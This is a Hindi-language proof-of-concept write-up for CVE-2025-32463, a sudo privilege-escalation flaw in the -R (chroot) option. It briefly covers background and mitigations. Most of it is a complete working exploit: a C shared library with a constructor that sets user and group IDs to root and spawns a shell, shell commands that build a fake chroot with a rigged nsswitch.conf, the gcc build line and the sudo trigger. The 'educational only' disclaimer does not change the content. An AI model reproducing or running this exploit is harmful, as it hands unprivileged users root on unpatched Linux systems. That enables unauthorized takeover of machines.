
CVE-2025-32463 के लिए एक PoC एक्सप्लॉइट - Sudo विशेषाधिकार वृद्धि
sudo में एक विशेषाधिकार वृद्धि कमजोरी मौजूद है जो Linux/Unix-आधारित सिस्टम को प्रभावित करती है। यह दोष अनुचित पथ सत्यापन के कारण उत्पन्न होता है जब sudo का उपयोग -R (--chroot) विकल्प के साथ किया जाता है, जिससे हमलावर दुर्भावनापूर्ण NSS लाइब्रेरी लोडिंग के माध्यम से रूट तक बढ़ सकते हैं।
sudo chroot वातावरण (-R विकल्प) के अंदर एक कमांड निष्पादित करता है, तो यह त्रुटि स्थितियों के दौरान NSS (Name Service Switch) लाइब्रेरी लोडिंग को गलत तरीके से संभालता है।LD_LIBRARY_PATH या /etc/nsswitch.conf में पथों को स्वच्छ करने में विफलता) वैध NSS लाइब्रेरी (जैसे, libnss_files.so) के बजाय एक दुर्भावनापूर्ण लाइब्रेरी लोड करने का कारण बन सकता है।sudo को नवीनतम पैच किए गए संस्करण में अपडेट करें।sudo अनुमतियों को प्रतिबंधित करें (जहां संभव हो chroot उपयोग को सीमित करें)।LD_LIBRARY_PATH को प्रतिबंधित करें।/etc/nsswitch.conf को सुरक्षित करें।/etc/sudoers में secure_path लागू करें ताकि लाइब्रेरी खोज पथों को सीमित किया जा सके।| घटक | कमजोरी ट्रिगर |
|---|---|
sudo -R | गलत chroot पथ सत्यापन। |
| NSS | त्रुटियों के दौरान असुरक्षित लाइब्रेरी लोडिंग। |
| शोषण | पथ अपहरण → दुर्भावनापूर्ण लाइब्रेरी लोड। |
CVE ID: CVE-2025-32463
प्रभावित संस्करण: Sudo 1.9.14 से 1.9.17 तक
CVSS स्कोर: 9.8 (गंभीर)
प्रभाव: स्थानीय विशेषाधिकार वृद्धि से रूट
यदि यह No such file or directory के साथ प्रतिक्रिया करता है तो यह कमजोर है:
sudo -R invalid invalid
sudo: invalid: No such file or directory
सबसे पहले, हम काम करने के लिए एक अस्थायी निर्देशिका बनाते हैं:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
यह एक अद्वितीय नाम वाली अस्थायी निर्देशिका बनाता है और उसमें नेविगेट करता है। mktemp कमांड सुनिश्चित करता है कि हम मौजूदा सिस्टम फ़ाइलों में हस्तक्षेप न करें।
हमें एक C फ़ाइल (bridge90.c) बनाने की आवश्यकता है जिसे एक दुर्भावनापूर्ण लाइब्रेरी में संकलित किया जाएगा:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
मुख्य घटक:
`__attribute__((constructor))` सुनिश्चित करता है कि लाइब्रेरी लोड होने पर फ़ंक्शन चले।
`setreuid` और `setregid` विशेषाधिकारों को रूट तक बढ़ाते हैं।
`execl` एक bash शेल चलाता है।
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
व्याख्या:
bridge/etc में एक नकली chroot वातावरण बनाएं
हमारे दुर्भावनापूर्ण पथ को इंगित करने के लिए nsswitch.conf को संशोधित करें
वैधता बनाए रखने के लिए वास्तविक /etc/group फ़ाइल की प्रतिलिपि बनाएं
हमारी दुर्भावनापूर्ण लाइब्रेरी के लिए एक निर्देशिका बनाएं
C कोड को NSS (Name Service Switch) सम्मेलनों से मेल खाने वाले नाम वाली साझा लाइब्रेरी में संकलित करें
sudo -R bridge bridge
यह कमांड हमारे तैयार किए गए वातावरण का उपयोग करने का प्रयास करता है:
पहला bridge हमारे दुर्भावनापूर्ण कॉन्फ़िगरेशन वाली chroot निर्देशिका है
दूसरा bridge चलाने का कमांड है (जो हमारी लाइब्रेरी लोड करेगा)
सफल शोषण के बाद, रूट पहुंच सत्यापित करें:
whoami # Should return "root"
id -u # Should return "0" (root's UID)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]
यह PoC शोषण केवल शैक्षिक उद्देश्यों के लिए है! इस शोषण से आप जो भी दुरुपयोग कर सकते हैं, उसके लिए मैं जिम्मेदार नहीं हूँ!